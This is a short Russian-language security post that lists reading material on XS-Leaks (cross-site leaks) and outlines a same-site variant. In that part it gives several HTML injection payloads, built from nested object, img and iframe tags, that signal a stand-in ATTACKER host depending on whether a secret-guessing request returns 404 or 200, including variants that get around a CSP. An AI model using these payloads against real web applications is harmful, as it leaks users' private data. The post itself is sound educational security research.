Не отходя от Client-Side атак, захотелось-таки сохранить здесь материалы по XS-Leaks / Cross-Site Leaks; :)
➡️"Библии":
🧩 xsleaks/xsleaks 💻 🧩 xsleaks.dev
🧩 [OWASP] Cross-site leaks Cheat Sheet
➡️Дополнения:
➖Introduction to Cross-Site Leaks
➖XS-Leaks Attacks and Prevention
➖[PortSwigger] Latest cross-site leak news
➖xsinator.com
▪️testing.html➖ тест браузера на уязвимость к 38 векторам XS-Leaks;
➡️Любопытные дополнения:
➖From XS-Leaks to SS-Leaks Using object
"
SameSite: Lax" cookie затрудняют эксплуатацию XS-Leaks. Но если веб-приложение уязвимо к HTML Injection, можно воспользоваться идеей XS-Leaks для проведения похожей boolean-based атаки (SS-Leaks / Same-Site Leaks) и извлечения информации от лица атакуемого пользователя;▪️
<iframe> обновляет своё содержимое вне зависимости от кода ответа▪️
<object> НЕ обновляет своё содержимое при 404▪️HTML Injection без особой CSP:
[ Результаты ]
➡️ Есть запрос кATTACKER=/api/v1/leaky?secret=aвернул 404
➡️ Нет запроса кATTACKER=/api/v1/leaky?secret=aвернул 200
<object data="/api/v1/leaky?secret=a">
<object data="https://ATTACKER?callback=a">
</object>
</object>
▪️HTML Injection в видимой области➕CSP блокирует внешние объекты:
[ Пример CSP➕Результаты ]Content-Security-Policy: default-src 'self'; img-src *;
➡️ Есть запрос кATTACKER=/api/v1/leaky?secret=aвернул 404
➡️ Нет запроса кATTACKER=/api/v1/leaky?secret=aвернул 200
<object data="/api/v1/leaky?secret=a">
<img src="https://ATTACKER?callback" loading="lazy">
</object>
▪️HTML Injection НЕ в видимой области➕CSP блокирует внешние объекты:
[ Результаты ]
➡️ Запрос сcallback=0=/api/v1/leaky?secret=aвернул 404
➡️ Запрос сcallback=1=/api/v1/leaky?secret=aвернул 200
<object data="/api/v1/leaky?secret=a">
<iframe srcdoc="<img srcset='https://ATTACKER?callback=1 480w, https://ATTACKER?callback=0 800w' sizes='(min-width: 1000px) 800px, (max-width 999px) 480px'>" width="1000px">
</object>
@HaHacking 🐇
